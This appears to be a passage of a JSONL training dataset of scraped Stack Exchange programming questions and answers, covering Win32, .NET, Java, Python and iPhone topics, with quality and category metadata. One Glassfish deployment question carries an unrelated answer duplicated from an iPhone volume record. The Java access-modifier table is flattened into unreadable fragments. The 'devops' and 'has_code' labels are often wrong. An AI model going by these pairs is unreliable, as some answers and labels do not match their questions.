"2026-01-17T15:28:20.802305"}
{"id": "hf_c52284e1798a", "question": "<p>Is there a way to change the colors used by plain Win32 menus (background, text, and highlight) for a single process, <em>without</em> using SetSysColors?</p>\n\n<p>(SetSysColors does a global change, which is bad, and if you crash or forget to set the colors back with SetSysColors again before exiting, they will not be restored until you logout.)</p>\n", "question_body": "", "answer": "The SetMenuInfo() API is your friend. It lets you apply any brush to paint your menu's background.\nSomething along these lines should solve your problem:\n```\n```\nMENUINFO mi = { 0 }; \nmi.cbSize = sizeof(mi); \nmi.fMask = MIM_BACKGROUND|MIM_APPLYTOSUBMENUS; \nmi.hbrBack = hBrush; \n\nHMENU hMenu = ::GetMenu(hWnd); \nSetMenuInfo(hMenu, &mi);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.843374"}
{"id": "hf_9dc89bde2f13", "question": "<p>I'm trying this:</p>\n\n<pre><code>Type ThreadContextType = typeof(Application).GetNestedType(\"ThreadContext\", System.Reflection.BindingFlags.NonPublic);\nMethodInfo FDoIdleMi = ThreadContextType.GetMethod(\"FDoIdle\", BindingFlags.NonPublic |\n    BindingFlags.Instance, null, new Type[] { typeof(Int32) }, null);\n</code></pre>\n\n<p>ThreadContextType is ok but FDoIdleMi is null. I know there is something wrong in the GetMethod call because FDoIdle comes from the UnsafeNativeMethods.IMsoComponent interface.</p>\n\n<p>How to do that? Thanks.</p>\n", "question_body": "", "answer": "You need to fully-qualify the method name, because they're using explicit interface implementation:\n```\n```\nType type = typeof( Application ).GetNestedType( \"ThreadContext\",\n    BindingFlags.NonPublic );\nMethodInfo doIdle = type.GetMethod(\n    \"System.Windows.Forms.UnsafeNativeMethods.IMsoComponent.FDoIdle\",\n    BindingFlags.NonPublic | BindingFlags.Instance );\n```\n```\nFor the record, reflecting on non-public members is generally bad practice, but you probably already know that.\nEDIT\nIn the spirit of teaching a person to fish, I figured this out by calling\n```\nGetMethods(...)\n```\non the type object, and examining the returned array to see how the methods were named. Sure enough, the names included the complete namespace specification.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.871981"}
{"id": "hf_a74a2c37f934", "question": "<p>I'm using a ListView in C# to make a grid.  I would like to find out a way to be able to highlight a specific cell, programatically.  I only need to highlight one cell.</p>\n\n<p>I've experimented with Owner Drawn subitems, but using the below code, I get highlighted cells, but no text!  Are there any ideas on how to get this working?  Thanks for your help.</p>\n\n<pre><code>//m_PC.Location is the X,Y coordinates of the highlighted cell.\n\n\nvoid listView1_DrawSubItem(object sender, DrawListViewSubItemEventArgs e)\n{\n    if ((e.ItemIndex == m_PC.Location.Y) &amp;&amp; (e.Item.SubItems.IndexOf(e.SubItem) == m_PC.Location.X))\n        e.SubItem.BackColor = Color.Blue;\n    else\n        e.SubItem.BackColor = Color.White;\n    e.DrawBackground();\n    e.DrawText();\n}\n</code></pre>\n", "question_body": "", "answer": "You can do this without owner-drawing the list:\n```\n```\n// create a new list item with a subitem that has white text on a blue background\nListViewItem lvi = new ListViewItem( \"item text\" );\nlvi.UseItemStyleForSubItems = false;\nlvi.SubItems.Add( new ListViewItem.ListViewSubItem( lvi,\n    \"subitem\", Color.White, Color.Blue, lvi.Font ) );\n```\n```\nThe Color arguments to the ListViewSubItem constructor are controlling the foreground and background color of the subitem. The critical thing to do here is set\n```\nUseItemStyleForSubItems\n```\nto False on the list item, otherwise your color changes will be ignored.\nI think your owner-draw solution would have worked as well, but you have to remember to change the text (foreground) color when you change the background to blue, otherwise the text will be hard to see.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:20.957607"}
{"id": "hf_57e41638cc9b", "question": "<p>We need to implement a large-scale key-value store (let's say up to 500GB) and BerkeleyDB seemed like it might be a decent option, but we would really like it to be network accessible. This led me to look at memcachedb. I haven't found much on the web where people talk about actual experiences with memcachedb, so my questions are, if you've used memcachedb:</p>\n\n<ul>\n<li>would you recommend using it for a large k-v store?</li>\n<li>if not, why not?</li>\n</ul>\n\n<p>Thanks in advance!</p>\n\n<p>Francis</p>\n", "question_body": "", "answer": "I have used memcached a little bit in one of my projects. I think it's a very efficient and scalable caching platform. By changing small configurations, you're able to replicate the cached objects in more than one server. Facebook uses memacached for their in-memory storage and it's a large scale entity on the web. This gives a thumb up for memcahced.\nThe only problem I faced in implementation is that doesn't automatically accept objects to store. You will need to serialize the objects before storing which may be a little bit confusing at the beginning.\nFYI, there is a nother caching platform produced by Microsoft called: Velocity. You may need to take a look on it:\nhttp://www.microsoft.com/downloads/details.aspx?FamilyId=B24C3708-EEFF-4055-A867-19B5851E7CD2&displaylang=en", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.030936"}
{"id": "hf_22d3fcae6e49", "question": "<p>I know a fair bit about the Windows Task Manager in XP, but I would like to understand it better in Vista.  What is the difference between \"Working Set (Memory)\" and \"Memory (Private Working Set)\".  What is the Paged Pool, what is the NP Pool (Non-Paged?).  How do I use these to determine what is going on with memory usage?  As an aside, when you minimize a program it frequently returns 90% of the memory it is using.  Is there any way to do this without minimizing it?</p>\n", "question_body": "", "answer": "This MSDN blog entry\nmight be informative on the first part of the question. A brief excerpt:\nWorking set is the subset of virtual pages that are resident in physical memory only; this will be a partial amount of pages from that process.\nAs discussed in the article, the part about private versus not-private has to do with memory used by the process that can be shared by other processes. If you can't share the memory (perhaps the memory is used by the image of a DLL had to be relocated in memory), it becomes private. Heap memory is also always going to be private.\nThe reason you see the memory drop dramatically when minimizing a program is that Windows automatically trims the working set of a process whenever it its main window is minimized. See\nthis Microsoft KB article\nfor more, including instructions on how to do this yourself.\nThe paged pool and non-paged pool memory refers to kernel memory used by the process. Memory from the paged pool can be paged out (removed from physical memory when memory pressure increases). Memory from the non-paged pool will always remain in physical memory, so generally it's preferable for this to stay small. Unless you're writing device drivers, though, as a user-mode application developer you generally won't need to worry about these two items.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.055860"}
{"id": "hf_b7730e2fdfae", "question": "<p>First some background. I recently went for an interview and some of the questions asked to me was about Enterprise Content Management. Obviously, I did not have any experience and did not get the offer. </p>\n\n<p>But, it increased my curiosity and tried Internet to get some info on the topic. Wikipedia made me more confused with even more buzzwords. Most of the stuff on the web is marketing related and relevant to specific products like Sharepoint or Drupal etc.</p>\n\n<p>I need some help in understanding more about the topic or the <strong>domain</strong> in simpler terms. What is the requirement to use it? What kind of companies use it? What are the problem areas it tries to address? Any popular use cases? Any places where it looks like a good fit but it is not actually?</p>\n\n<p>Lastly, any good book or articles on the topic without being specific to any product?</p>\n", "question_body": "", "answer": "CMS (Content Management System) describe systems that are used to manage content :-) as for example Joomla, Drupal, Sharepoint and etc.\nContent management means document, records, processes and other information related to your company business management.\nEnterprise Content Management, as far as I know is this \"Content management\" concept applied to a organization. The mainly focus is to Capture, Manage, Store, Preserve, and Deliver content and documents related to the organization.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.081378"}
{"id": "hf_226c3afd81a4", "question": "<p>I need a regex that matches all strings ending in .cs, but if they end in .g.cs they should not match. I'm using .NET regular expressions.</p>\n", "question_body": "", "answer": "This will match the end if it's .cs but not .g.cs\n```\n```\n(?<!\\.g)\\.cs$\n```\n```\nFor the entire string start to finish, something like this:\n```\n```\n^.*(?<!\\.g)\\.cs$\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.155381"}
{"id": "hf_1940dc768ea5", "question": "<p>I have a fairly simple addition to the HTTP standard.  An ambitious goal I know, but I'd at least like to submit a proposal and get feedback on the idea.  What is the proper forum/method of doing so?</p>\n", "question_body": "", "answer": "According to W3C's\nHTTP page\n:\nNow that both HTTP extensions and\n  HTTP/1.1 are stable specifications,\n  W3C has closed the HTTP Activity. The\n  Activity has achieved its goals of\n  creating a successful standard that\n  addresses the weaknesses of earlier\n  HTTP versions.\nAn effort to revise HTTP/1.1 started\n  in the\nIETF httpbis Working Group\nThe page from the latter link has a mailing list you can join, as well as the scope of the working group. You may well be able to get feedback about the merit of your idea in the abstract, but certainly don't get your hopes up at effecting change.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.292090"}
{"id": "hf_187568e82f62", "question": "<p>The calculations in my code are well-tested, but because there is so much GUI code, my overall code coverage is lower than I'd like. Are there any guidelines on unit-testing GUI code? Does it even make sense?</p>\n\n<p>For example, there are graphs in my app. I haven't been able to figure out how to automate the testing of the graphs. It takes a human eye, AFAIK, to check if the graph is correct.</p>\n\n<p>(I'm using Java Swing)</p>\n", "question_body": "", "answer": "Designs like MVP and MVC typically try to abstract as much logic out of the actual GUI as possible. One very popular article about this is\n\"The Humble Dialog Box\"\nby Michael Feathers. Personally I've had mixed experiences with trying to move logic out of the UI - sometimes it's worked very well, and at other times it's been more trouble than it's worth. It's somewhat outside my area of expertise though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.352586"}
{"id": "hf_caa89a79ddcc", "question": "<p>In VS2008 I have written a C# service, an installer, and have created a setup package to install it. The service needs to load an xml file to operate. Where is the best place to put this file in the various filesystem folders offered by the VS setup project, and how do I then refer to these paths from my code?</p>\n<p>I should point out the the service runs as <code>LocalService</code>, which means that the ApplicationData folder offered by the &quot;User's Application Data Folder&quot; item in the VS setup project is not accessible, even when &quot;Install for all users&quot; is used during installation. I could easily hack around this, but would like to understand best practice.</p>\n", "question_body": "", "answer": "I am not sure which place is better to store the XML file. I don't think it will matter alot. But if you need to get special folder path in the system you can use Environment class to do so. The following line of code get the path of the Program Files:\n```\n```\nstring path = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.403650"}
{"id": "hf_d95f6ea1cda4", "question": "<p>In Java, are there clear rules on when to use each of access modifiers, namely the default (package private), <code>public</code>, <code>protected</code> and <code>private</code>, while making <code>class</code> and <code>interface</code> and dealing with inheritance?</p>\n", "question_body": "", "answer": "The official tutorial\nmay be of some use to you.\nClass\nPackage\nSubclass\n(same pkg)\nSubclass\n(diff pkg)\nWorld\n```\npublic\n```\n+\n+\n+\n+\n+\n```\nprotected\n```\n+\n+\n+\n+\nno modifier\n+\n+\n+\n```\nprivate\n```\n+\n+ : accessible\nblank : not accessible", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.428619"}
{"id": "hf_4c32f7d3d78c", "question": "<p>It's been my experience that some security software (like Symantec's Norton AntiVirus) oftentimes prohibit their removal from a Windows system via the \"Add or Remove Programs\" utility, going so far as to occasionally require a removal program obtained from Symantec's homepage.  (I assume this it to prevent a malicious program from disabling the security software... any other reason?)</p>\n\n<p>How can a program be configured to resist removal via a system's uninstall utility, or via deleting the program's directory?  Is Norton the only software suite that employs this technique, or is this widespread amongst security software?  Are there similar techniques that can be used on Unix / -like systems?</p>\n", "question_body": "", "answer": "Norton is not the only one that does this, however McAfee and Norton are the only ones who make it almost impossible to remove the software.  Not because they care about viruses or security threats, they don't want to give up control of the system.  Many other Antivirus software that works just as well if not better than Norton, like AVG, Avast, and others do allow you to uninstall from the add remove.  If they tell you anything different they are just lying because you have to physically click the add remove programs to run the uninstall process.  There is no programmatic way to do this.\nThey do this by just hijacking the uninstall with a custom process.  There is not really a standardized uninstall method.  The closest to that is the MSI package that Microsoft provides, however that doesn't have to be used, and even if they do use it they can customize the operations to do whatever they want when uninstalling.\nIn NTFS you can lock folders and files that are currently executing in memory.  Norton either uses this method or uses the service running in the background to prevent it.\nNorton and McAfee are some of the most invasive resource hogs that you can never get out of your system once installed.  They don't do this for security.  They do this because they are in a market that has Free alternatives that are 20 times better than their legacy software.  So they strike deals with the OEM's to install their software by default in the hopes that people will continue to pay yearly subscriptions to them.  On top of that if they make it really hard to remove, some people won't be bothered and just pay up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.454384"}
{"id": "hf_6ed0f394e020", "question": "<p>I am working on a winforms html editor with multiple editor windows as each editor window will be written to a database field.</p>\n\n<p>I am creating the editor windows as a control array and was hoping to just have one toolbar above them that would handle the events such as apply bold, italic... based on the window I was currently in. Unfortunately obviously the event handler of an event on the toolbar doesn't know what the control selected before it was. </p>\n\n<p>Is there a way to get this or should I be adding an onenter event to each editor window and storing statically the last editor window used.</p>\n", "question_body": "", "answer": "I'm not familiar with the types of events you mention, and I'm probably missing something, but it's common in WinForms development to have events fire and provide information about the sender as well as the event, conforming to the\nEventHandler\ndelegate?\n```\n```\n[SerializableAttribute]\n[ComVisibleAttribute(true)]\npublic delegate void EventHandler(\n    Object sender,\n    EventArgs e\n)\n```\n```\nThis is how\nSystem.Windows.Forms.Control.Click\noperates.\nCould you follow this example, where\n```\nsender\n```\nwould be the editor window in each case?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.492712"}
{"id": "hf_68f86f1fda9d", "question": "<p>Some iPhone applications, such as Pandora seem to directly manipulate the hardware volume and respond to physical volume button. How is this done?</p>\n\n<p>AudioSessionServices allows you to get the current hardware output volume with the <code>kAudioSessionProperty_CurrentHardwareOutputVolume</code> property, but it is (allegedly) read-only.</p>\n", "question_body": "", "answer": "They use the MPVolumeView, simple add it and it's makes the rest when the user touch it. Note: Doesn't work in iPhone Simulator. I think the release note also mentioned do not use it direct in Interface Builder.\n```\n```\nMPVolumeView *volumeView = [[MPVolumeView alloc] initWithFrame:CGRectMake(25, 378, 270, 30)];\n[self.view addSubview:volumeView];\n[volumeView release];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.530139"}
{"id": "hf_67cfa5bb4a79", "question": "<p>So am I crazy for considering doing a beta/production release on Glassfish V3 Prelude?\nSince all of my content is dynamic, I'm not even thinking of bothering to set up apache in front either.  Doing so complicates the setup by requiring something like AJP or mod_jk and will not offer us much in terms of capability.</p>\n\n<p>So there will be three war files on deployment.\n3 JNDI data sources with about 90 connections parked, scaling up to 160 to a PGSQL datastore....</p>\n\n<p>The three wars comprise a CMS system and a grails application?</p>\n\n<p>Is my logic fatally flawed that I don't need to put apache in front of this setup?</p>\n", "question_body": "", "answer": "They use the MPVolumeView, simple add it and it's makes the rest when the user touch it. Note: Doesn't work in iPhone Simulator. I think the release note also mentioned do not use it direct in Interface Builder.\n```\n```\nMPVolumeView *volumeView = [[MPVolumeView alloc] initWithFrame:CGRectMake(25, 378, 270, 30)];\n[self.view addSubview:volumeView];\n[volumeView release];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.555483"}
{"id": "hf_f86f3483e419", "question": "<p>I'd like to create a script to manipulate Apache2 configuration directly, reading and writing its properties (like adding a new VirtualHost, changing settings of one that already exists).</p>\n\n<p>Are there any libs out there, for Perl, Python or Java that automates that task?</p>\n", "question_body": "", "answer": "This is the ultimate Apache configurator:\nhttp://perl.apache.org/\nexposes many if not all Apache internals to programs written in Perl.\nFor instance:\nhttp://perl.apache.org/docs/2.0/api/Apache2/Directive.html\n(Of course that it can do much much more than just configuring it).\nOn the other hand, it needs to be loaded and runs within Apache, it's not a config file parser/editor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.580123"}
{"id": "hf_73e7bb3d967c", "question": "<p>From what I understand, the parent attribute of a db.Model (typically defined/passed in the constructor call) allows you to define hierarchies in your data models. As a result, this increases the size of the entity group. However, it's not very clear to me why we would want to do that. Is this strictly for ACID compliance? I would like to see scenarios where each is best suited or more appropriate.</p>\n", "question_body": "", "answer": "The only purpose of entity groups (defined by the parent attribute) is to enable transactions among different entities. If you don't need the transactions, don't use the entity group relationships.\nI suggest you re-reading the\nKeys and Entity Groups\nsection of the docs, it took me quite a few reads to grasp the idea.\nAlso watch these talks, among other things they discuss transactions and entity groups:\nBuilding Scalable Web Applications with Google App Engine\nUnder the Covers of the Google App Engine Datastore", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.633988"}
{"id": "hf_b34e2c1bf798", "question": "<p>What is the purpose of the colon before a block in Python?</p>\n\n<p>Example:</p>\n\n<pre><code>if n == 0:\n    print \"The end\"\n</code></pre>\n", "question_body": "", "answer": "The colon is there to declare the start of an indented block.\nTechnically, it's not necessary; you could just indent and de-indent when the block is done. However, based on the\nPython koan\n“explicit is better than implicit” (EIBTI), I believe that Guido deliberately made the colon obligatory, so\nany\nstatement that\nshould\nbe followed by indented code ends in a colon. (It also allows one-liners if you continue after the colon, but this style is not in wide use.)\nIt also makes the work of syntax-aware auto-indenting editors easier, which also counted in the decision.\nThis question turns out to be a\nPython FAQ\n, and I found one of its answers by Guido\nhere\n:\nWhy are colons required for the if/while/def/class statements?\nThe colon is required primarily to enhance readability (one of the results of the experimental ABC language). Consider this:\n```\n```\nif a == b \n    print a\n```\n```\nversus\n```\n```\nif a == b: \n    print a\n```\n```\nNotice how the second one is slightly easier to read. Notice further how a colon sets off the example in this FAQ answer; it’s a standard usage in English.\nAnother minor reason is that the colon makes it easier for editors with syntax highlighting; they can look for colons to decide when indentation needs to be increased instead of having to do a more elaborate parsing of the program text.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.659251"}
{"id": "hf_20dba45c452f", "question": "<p>What is a good resource to get started with Windows file system driver development for a newbie?</p>\n", "question_body": "", "answer": "You might try\nWindows Hardware Developer Central\n, which has links to blogs, newsgroups, books, and other useful resources for driver authors.\nI also recommend downloading and installing the\nWindows DDK\nand exploring some of the included samples. There should be various skeleton drivers that can be used as starting points for your custom work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.719542"}
{"id": "hf_3208cacab843", "question": "<p>Erlang support to partition its nodes into groups using the <a href=\"http://erlang.org/doc/man/global_group.html\" rel=\"nofollow noreferrer\">global_group</a> module.\nFurther, Erlang supports adding nodes on the fly to the node-network. Are these two features usable with each other?<br>\nAs far as I understand, you have to name every node on startup to use the global groups.</p>\n", "question_body": "", "answer": "A node is an executing Erlang runtime\n  system which has been given a name,\n  using the command line flag -name\n  (long names) or -sname (short names).\nA hidden node is a node started with\n  the command line flag -hidden.\n  Connections between hidden nodes and\n  other nodes are not transitive, they\n  must be set up explicitly. Also,\n  hidden nodes does not show up in the\n  list of nodes returned by nodes().\n  Instead, nodes(hidden) or\n  nodes(connected) must be used. This\n  means, for example, that the hidden\n  node will not be added to the set of\n  nodes that global is keeping track of.\nSo in short , yes, you need to give our node a name to be able other nodes to find it.\nIt feels that you either are asking without trying out or have a very complex question and maybe an example of what you are trying to accomplish could make it possible to give a better answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.744034"}
{"id": "hf_9bca52a03168", "question": "<p>How do I load MS Word document (.doc and .docx) to memory (variable) without doing this?:</p>\n\n<p><em>wordApp.Documents.Open</em> </p>\n\n<p>I don't want to open MS Word, I just want that text inside. </p>\n\n<p>You gave me answer for DOCX, but what about DOC? I want free and high performance solution - not to open 12.000 instances of Word to process all of them. :( Aspose is commercial product, and 900$ is a way too much for what I do.</p>\n", "question_body": "", "answer": "If you are dealing with docx you can do this with out doing any interop with Word\n.docx file actually a ZIP contains an XML file , you can read the XML \nPlease refer the below links\nhttp://conceptdev.blogspot.com/2007/03/open-docx-using-c-to-extract-text-for.html\nOffice (2007) Open XML File Formats", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.768783"}
{"id": "hf_6aa2a1ee47be", "question": "<p>I am trying to use some pinvoke code to call a C function.  The function fills a buffer with data.</p>\n\n<p>The structure is set up as a DWORD for the length, followed by a string.  How do I extract the string from the IntPtr?</p>\n\n<pre><code> IntPtr buffer = Marshal.AllocHGlobal(nRequiredSize);\n PInvokedFunction(buffer, nRequiredSize);\n string s = Marshal.PtrToStringAuto(buffer + 4); //this is an error.\n Marshal.FreeHGlobal(buffer);\n</code></pre>\n", "question_body": "", "answer": "The best I could come up with was the following, though the use of the UnmanagedMemoryStream seems a bit of a hack.\n```\n```\nIntPtr buffer = Marshal.AllocHGlobal((int)nRequiredSize);\n PInvokedFunction(buffer, nRequiredSize);\n UnmanagedMemoryStream memStream = new UnmanagedMemoryStream(buffer.ToPointer(), nRequiredSize);\n memStream.Seek(4, SeekOrigin.Begin);\n IntPtr ptr = new IntPtr(memStream.PositionPointer);\n string s = Marshal.PtrToStringAuto(ptr);\n Marshal.FreeHGlobal(buffer);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.793028"}
{"id": "hf_5a5603315490", "question": "<p>I'm having some trouble with Visual Studio 2008 on my Windows XP SP2 laptop.</p>\n\n<p>What happens is that when I start a program with a few textboxes and stuff like that, the boxes are see-through. I can litteraly see through them and see what's on the underlaying screen. Like if I only have this Form showing and behind that my wallpaper, I can see my wallpaper through the Textbox, ComboBox, even through the small cracks between various elements.</p>\n\n<p>i've searched the web but haven't encountered info on this yet. Does anybody know what might be causing this and how to solve it? I'm in the process of trying to see how the text in my TextBoxes is parsed, but I can't since I can't even enter anything. I click on the textbox and I'm focused on the desktop...</p>\n", "question_body": "", "answer": "Hmmm... I'm not sure about this, but check the \"Transparency\" property of your main form. That's all I can think that it might be as of now...\nUpdate: I meant the \"\nOpacity\n\" property, sorry.\nUpdate 2: No, never mind, sorry. Right-click the \"\nTransparencyKey\n\" property, and press\n```\nReset\n```\nto set it back to default.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.818082"}
{"id": "hf_74e776a3698a", "question": "<p>I have a std::multimap where key is a custom class. Something like this:</p>\n\n<pre><code>Class X {\npublic:\n    std::string s;\n    int x;\n    operator &lt;(const X&amp; other) const { return s &lt; other.s; }\n};\nstd::multimap&lt;X, int&gt; mymap;\n</code></pre>\n\n<p>Now, I'd like to use upper_bound and lower_bound to iterate over all elements with the same value of \"s\". Do I need to implement some other operator for X (for example: ==). Or it will work properly just like this?</p>\n\n<p>Also, what should I supply as argument for <em>upper_bound</em> and <em>lower_bound</em>? I assume I should create a dummy object with desired value of \"s\"?</p>\n", "question_body": "", "answer": "you only need to provide an operator == and <.\nupper_bound and lower_bound are just like any other find-type method, so you need the same kind of object to compare with - in your case, a 'dummy' object with the required value of s.\nedit\n: the comments are correct that you only need operator< for lower/upper_bound, and find. But if you want to call other methods on your container, you will need operator== as well. Eg. if you want to sort() your container, you will need operator==.\nThe 2 overloads you need for all STL containers are operator< and operator==. I find its best practise to implement them both.\nOf course, the question could also be answered more fully by implementing a comparison functor in the map itself, not relying on the objects. This is often a good way to implement different ways of calling find() on the map.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.910413"}
{"id": "hf_8364221e33c6", "question": "<p>I still haven't got my head around decorators in Python.</p>\n\n<p>I've already started using a lot of closures to do things like customize functions and classes in my coding.</p>\n\n<p>Eg.</p>\n\n<pre><code>class Node :\n    def __init__(self,val,children) :\n        self.val = val\n        self.children = children\n\ndef makeRunner(f) :\n    def run(node) :\n        f(node)\n        for x in node.children :\n            run(x)\n    return run\n\ntree=Node(1,[Node(2,[]),Node(3,[Node(4,[]),Node(5,[])])])\n\ndef pp(n) : print \"%s,\" % n.val\nprintTree = makeRunner(pp)\nprintTree(tree)\n</code></pre>\n\n<p>As far as I can see, decorators are just a different syntax for doing something similar. </p>\n\n<p>Instead of </p>\n\n<pre><code>def pp(n) : print \"%s,\" % n.val\nprintTree = makeRunner(pp)\n</code></pre>\n\n<p>I would write :</p>\n\n<pre><code>@makeRunner\ndef printTree(n) : print \"%s,\" % n.val\n</code></pre>\n\n<p>Is this all there is to decorators? Or is there a fundamental difference that I've missed? </p>\n", "question_body": "", "answer": "Are your examples real code, or just examples?\nIf they're real code, I think you overuse decorators, probably because of your background (i.e. you are used to other programming languages)\nStage 1: avoiding decorators\n```\n```\ndef run(rootnode, func):\n    def _run(node): # recursive internal function\n        func(node)\n        for x in node.children:\n            _run(x) # recurse\n    _run(rootnode) # initial run\n```\n```\nThis run method obsoletes makeRunner. Your example turns to:\n```\n```\ndef pp(n): print \"%s,\" % n.val\nrun(tree, pp)\n```\n```\nHowever, this ignores completely generators, so…\nStage 2: using generators\n```\n```\nclass Node :\n    def __init__(self,val,children) :\n        self.val = val\n        self.children = children\n\n    def __iter__(self): # recursive\n        yield self\n        for child in self.children:\n            for item in child: # recurse\n                yield item\n\ndef run(rootnode, func):\n    for node in rootnode:\n        func(node)\n```\n```\nYour example remains\n```\n```\ndef pp(n): print \"%s,\" % n.val\nrun(tree, pp)\n```\n```\nNote that the special method\n```\n__iter__\n```\nallows us to use the\n```\nfor node in rootnode:\n```\nconstruct. If you don't like it, just rename the\n```\n__iter__\n```\nmethod to e.g.\n```\nwalker\n```\n, and change the\n```\nrun\n```\nloop into:\n```\nfor node in rootnode.walker():\n```\nObviously, the\n```\nrun\n```\nfunction could be a method of\n```\nclass Node\n```\ninstead.\nAs you see, I suggest you use directly\n```\nrun(tree, func)\n```\ninstead of binding them to the name\n```\nprintTree\n```\n, but you can use them in a decorator, or you can make use of the\n```\nfunctools.partial\n```\nfunction:\n```\n```\nprintTree= functools.partial(run, func=pp)\n```\n```\nand from then on, you would just\n```\n```\nprintTree(tree)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:21.948518"}
